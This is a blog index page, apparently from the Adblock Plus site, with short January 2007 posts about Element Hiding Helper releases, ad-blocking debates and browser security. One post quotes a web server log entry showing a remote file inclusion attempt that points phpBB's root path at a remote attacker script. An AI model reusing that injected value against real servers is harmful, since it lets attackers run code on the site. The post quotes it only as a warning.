Adblock Plus and (a little) more

Element Hiding Helper 1.0 released · 2007-01-23 02:31 by Wladimir Palant

Features

Simple but powerful selection of the element to be hidden (thanks Aardvark)
Automatic generation of an element hiding rule based on specified criteria
Advanced mode for complicated rules, allows selecting attributes of parent and sibling nodes, attribute parts and custom CSS
Rules are applied immediately, with “Preview” switched on even during composing

Known issues

Preview feature doesn’t work in Mozilla Mail/Thunderbird
View source tooltip’s position and size is influenced by other tooltips
Wrong frame position and size for inline elements that are broken into multiple lines

A World of Endless Advertisements · 2007-01-22 03:29 by Wladimir Palant

Jeff Atwood wrote an interesting article on the craziness of internet advertising. I’m not commenting on it yet so just read it yourself: A World of Endless Advertisements. Don’t forget to read the comments. Some of my own thoughts on this topic: Ethics of blocking ads – part 3

Element Hiding Helper: Release candidate · 2007-01-18 01:47 by Wladimir Palant

This is a release candidate for Element Hiding Helper 1.0, first localizations should be available soon.

Changes

Added options “first child” and “last child” to list of attributes
Added extensions. adblockplus. ehh. showhelp preference to allow disabling automatic help tooltip (pressing H still brings it up when this option is set to false)
Added warning if Element Hiding Helper is installed but Adblock Plus is not there or version is older than 0.7.2.3 (Firefox 2.0 and higher checks dependencies automatically)

Known issues

~~Upper case letters aren’t accepted as hotkeys when selecting an element~~

Running a web server is dangerous · 2007-01-17 15:57 by Wladimir Palant

I guess some of you run a web server. Maybe you have noticed entries like this one in your logs:

"GET /forum/admin/admin_styles.php?phpbb_root_path=http://some.server.name/0wn/mail.txt?%5d\r HTTP/1.1" 302 5 "-" "-"

Happy Birthday Adblock Plus! · 2007-01-17 07:00 by Wladimir Palant

Do you remember? The very first Adblock Plus 0.6 came out one year ago (at least if you don’t count mcm’s Adblock Plus which was a very different extension). Since then we had 18 releases and almost three million downloads on addons.mozilla.org. The support forum currently counts 249 members (mind you, registration is not mandatory) and over 1000 threads with almost 9000 posts. Altogether this site had over 1 million visits in the 7 months that it existed. That’s some numbers one doesn’t need to be ashamed of.

Fighting ad blockers - the Microsoft style · 2007-01-16 20:05 by Wladimir Palant

I received a mail from a confused user. She wasn’t able to log into her Hotmail account so she mailed Windows Live support. And the support folks over at Microsoft didn’t need any additional information to find the reason: “it appears that your Firefox browser settings are not optimized”. Now, how does one optimize the browser settings according to Microsoft?

Element Hiding Helper: Almost done · 2007-01-16 00:50 by Wladimir Palant

A new development build of the Element Hiding Helper extension (0.9+.2007011523) has been uploaded.

Changes

The part of the attribute that should be used can now be specified

Known issues

~~Element selection in frames doesn’t work~~
~~Splitter is broken when switching from basic to advanced view the first time~~
~~Doesn’t work in Thunderbird/Mozilla Mail yet~~
~~“null has no properties” error in the console when opening composer window (bug 367009)~~
~~No domain suggestions in basic mode~~
Preview feature doesn’t work in Thunderbird/Mozilla Mail

Speaking of IE security... · 2007-01-12 14:49 by Wladimir Palant

I recently linked to an article stating that users of Internet Explorer have been exposed to known critical vulnerabilities for 284 days last year. That sounds bad enough but unfortunately it is not all.

AMO moving into the right direction · 2007-01-12 02:21 by Wladimir Palant

Thanks to morgamic for telling me this, I probably wouldn’t have noticed otherwise — Addons.Mozilla.Org has made a first move towards raising the quality bar. The autogenerated spyware-infested Conduit-based toolbars have been disabled, all 93 of them. Any new submissions will be automatically rejected. Way to go, AMO!

Hit counts for element hiding: coming · 2007-01-11 15:43 by Wladimir Palant

Recently I wrote about a solution I came up with to provide hit counts for element hiding. However, it uses XBL with the consequence that it would not work when JavaScript is disable and it would probably also slow down browsing. And only today I found the solution that should be obvious, without the disadvantages.